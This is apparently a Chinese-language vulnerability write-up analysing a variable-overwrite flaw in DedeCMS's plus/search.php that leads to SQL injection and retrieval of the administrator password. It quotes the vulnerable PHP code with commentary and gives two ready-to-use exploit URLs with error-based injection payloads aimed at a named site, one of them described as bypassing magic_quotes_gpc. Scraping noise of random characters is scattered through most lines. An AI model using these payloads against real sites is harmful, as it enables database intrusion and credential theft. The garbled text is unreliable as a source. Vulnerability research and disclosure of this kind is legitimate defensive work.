微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
0 R6 n5 ^* g. [2 Y5 ?' U/ Y作者: c4rp3nt3r@0x50sec.org
2 L" X( |; C0 vDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.1 y% Q/ w$ `2 x% H: t
+ ? C- u) |% E0 ~黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.8 H0 H* z2 R8 A8 n
3 N3 L& t* U8 R4 b) ]% {
============
' q5 ^7 v# Q$ _# S' _. p7 p$ Q* a # k" y7 d$ u6 ?! K7 E
1 Y( Y/ ]( n Q+ `8 E0 ]( z
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
& a1 A& V% Z# B6 [ U/ ^5 p1 b. _% Q2 k/ O/ n
require_once(dirname(__FILE__).”/../include/common.inc.php”);9 K. z. f' s8 E- s- s
require_once(DEDEINC.”/arc.searchview.class.php”);2 j: i- N& x5 w9 f. `* a- w
8 n5 n. B+ e" w8 v, D, ^+ V$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;: a! X a& p* |. Y0 ~
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
/ h0 l) M" [! J6 @; o$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;( c- `. ?$ Y% r& d
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;) w7 i8 h r/ ~
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;$ X9 v# q+ e: x' T1 U8 c G
2 |- v' x" }6 A4 F6 P) Z% L$ @if(!isset($orderby)) $orderby=”;9 R% z6 ]% S! T) c# Z
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
' k$ E0 f) h' E% Z: y( I# X5 A . b0 y0 z, ]) t5 Y7 U: ^
8 Q) \3 e7 I h/ J; Z
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
. O, N$ m1 U; F& F0 Nelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
7 _- @4 r6 r' }% L3 g! o : U# t# F1 w. [
if(!isset($keyword)){
. Z6 m6 }3 ]& [; Q) X( T if(!isset($q)) $q = ”;
* u6 B5 T! V5 A $keyword=$q;4 t4 r& j) K% ~ `$ S" f
}4 o4 q3 o! @) Y/ t! _& x
' J( A% q$ Q: l8 e2 X: k$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
- y- N7 q0 P" ~2 k6 B Q) c+ q
9 G( u* z, g7 B) b" b8 x2 |//查找栏目信息
! n9 B1 t* ]3 ~1 Mif(empty($typeid))
5 H4 @2 |( ?: w! h3 k9 ?& i; b{
1 L6 T5 ]5 E& Q- X n0 C $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
- K& m& Q) G8 Q# p4 _ if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
' G$ S. c2 |9 d D+ |) d( O {9 v' {9 |) B/ x" q6 ]
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);1 w; r: b) F, u! E+ [
fwrite($fp, “<”.”?php\r\n”);( \2 j5 C1 ~. T J; | Q
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
& y1 Y) }! B, {' u4 H/ w1 o+ ] $dsql->Execute();
1 C% Z- e( o8 G( T3 C% K, F+ \ while($row = $dsql->GetArray())" |( y! v+ @1 w
{
; p& L. u& b9 u3 B1 K; g" Y fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
& T1 a* s( f2 N5 {7 y+ u3 O0 r$ Y }& f$ Z6 v5 N X- N# H! _: a. J, n
fwrite($fp, ‘?’.'>’);
/ d+ h, z! P2 g2 P* i) F fclose($fp);
. t! s) j8 t( C' }( [8 m }$ \3 G3 j1 |" _ I- S
//引入栏目缓存并看关键字是否有相关栏目内容
/ W, a* |1 r+ U" ~ require_once($typenameCacheFile);
+ |5 t3 \% X& u5 [//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
+ A3 G+ W0 \7 d8 v//4 m. S$ i" o* j7 s
if(isset($typeArr) && is_array($typeArr))
( J. e: ]6 O: }8 L$ c+ \' R {
, f0 F7 d% L" ^4 Z, J0 c foreach($typeArr as $id=>$typename)1 w! C7 b7 L1 F
{* h7 L0 u4 r( h7 Z3 D+ i2 ?' S
* M- F% a4 |! B3 O1 B# z <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过( P' G1 M) e4 p
if($keyword != $keywordn)" ]! q# f& e* |: p; C7 S# F7 T
{+ i: t$ r% h" Z2 J- y* e6 ~
$keyword = $keywordn;9 \; Q( F6 u/ d% K" R
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设/ r, s9 Z" p' m; v# S2 [# o
break; b1 J$ e7 Y+ r9 L' B
}
; g4 `4 k( |$ d6 E" _6 M1 D }
% H4 e; y( y8 v }! M9 x5 `% L& v/ w
}9 {: j% n7 X1 Y0 Y$ m ?
然后plus/search.php文件下面定义了一个 Search类的对象 .4 R1 W+ L& l" `8 @1 N
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
6 e% k5 K9 e+ k$this->TypeLink = new TypeLink($typeid);
* j/ @& c$ l% [+ ? O& w, V& w
! I& \! W! j+ s; M$ OTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
; y6 B J! r7 B2 m
2 D5 ~, q; s5 i2 e' b0 }8 qclass TypeLink
) C- y3 n5 D; D{& g# _6 { A; }: a1 e$ W6 E
var $typeDir;$ n4 ]& z( |; I5 C& l& s) {* Q
var $dsql;% O6 B0 X4 u4 Z8 P
var $TypeID;
# t" h2 u# _8 @* l5 Q: [8 t8 @ var $baseDir;
; N/ J. |' |- x' W4 l var $modDir;
/ X# Q- \; _: _9 Q+ r- c var $indexUrl;
" S, G3 u- ^! W, [ var $indexName;
, }4 Z( p i e' J8 |; _9 l& ]6 w$ q var $TypeInfos;% q0 n, ]' f X' U# q1 U1 U
var $SplitSymbol;
/ [) A5 R8 o9 s3 V4 l) a var $valuePosition;
8 M) A9 s2 v$ y2 w8 {4 r var $valuePositionName; N. V) o2 j- [
var $OptionArrayList;//构造函数///////3 [ {3 K4 G" r& G
//php5构造函数: U1 ]" n, E" j+ R; [1 V; ~! q* _
function __construct($typeid)
1 Y# F/ U" J3 K8 `8 [" H" V) b {
# c/ u J9 Y M, W2 o) h $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];. A6 \- ]' s( Y6 G% {
$this->indexName = $GLOBALS['cfg_indexname'];
& ^; K6 Q% b r j5 }, E. u $this->baseDir = $GLOBALS['cfg_basedir'];8 r" |$ x0 I$ U
$this->modDir = $GLOBALS['cfg_templets_dir'];
" a2 M' Z1 U6 |, M% z$ k' U $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
6 N) ^2 l# L3 G! k8 N) Q% @ $this->dsql = $GLOBALS['dsql'];# w. y. `' E9 s/ Q
$this->TypeID = $typeid;
, Q' r4 x/ j& ~( d, n $this->valuePosition = ”;+ p, Q6 j' b$ W
$this->valuePositionName = ”;
7 \* x7 G6 `6 x+ | $this->typeDir = ”;- ~: x! i( T7 ?# h+ r
$this->OptionArrayList = ”;
) R E! N& w# }) C4 m$ O
3 X- j3 n0 q6 h //载入类目信息 R4 O) K" J- H7 W- p( l
+ R, ?5 c6 E1 T# G" w <font color=”Red”>$query = “SELECT tp.*,ch.typename as
6 l4 O: V6 a% r" ~ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
* D! h' c$ j! L' G`#@__channeltype` ch( c7 l$ y. ?" S3 S" P
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿( @9 Z0 O3 v$ L% ]
) {9 Q+ i3 G+ M$ {8 n: C+ \ if($typeid > 0)
& A' a& o* T1 J6 K% } {
7 t' U' |; p/ D' J4 F8 ?& i $this->TypeInfos = $this->dsql->GetOne($query);
! t2 R3 `$ ?( c* }利用代码一 需要 即使magic_quotes_gpc = Off
: y+ S+ w0 W4 }. i9 i4 j 8 h7 v, L* \' S& @3 @
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title: i# Q; I. g9 }! W' e# }
" v/ C$ c" j$ Z% e7 j8 ?7 C: g' p5 z
这只是其中一个利用代码… Search 类的构造函数再往下4 Y+ T2 ?" u0 B5 t) X$ [
% }* j: R2 r ?……省略
$ p7 z: v$ t2 M% H3 ]' Z$this->TypeID = $typeid;
+ S$ i. Y8 I: s0 u; k) }……省略! \) Z, W2 ?' }! d9 e9 m
if($this->TypeID==”0″){
{0 e& d1 C$ ^* Y; i$ B $this->ChannelTypeid=1;) q% f: }3 u# u! B. I3 w, H% Z
}else{
5 B7 ~, ]; I" l$ S; o: M) U- w $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
: e3 Q u% a) k: C; T) ^% g//现在不鸡肋了吧亲…
( X8 r- U% `6 b9 h/ e# L2 f5 u $this->ChannelTypeid=$row['channeltype'];$ x7 ~ V% b$ r9 a& [) w" D+ k& M
3 M6 S8 R" i# X9 g# V! h* @
}
+ q! _3 j0 A7 T0 y利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用./ D* L4 r6 r. C# t$ Q+ U' v) `
/ }" R$ J# O$ x$ u( z, X' ywww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title# @$ ?1 H. r7 }) p! t0 P! c% ^$ j
1 s- s) @6 ?# l5 b
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站7 P+ x$ |! J- k$ R% s# ]% V
|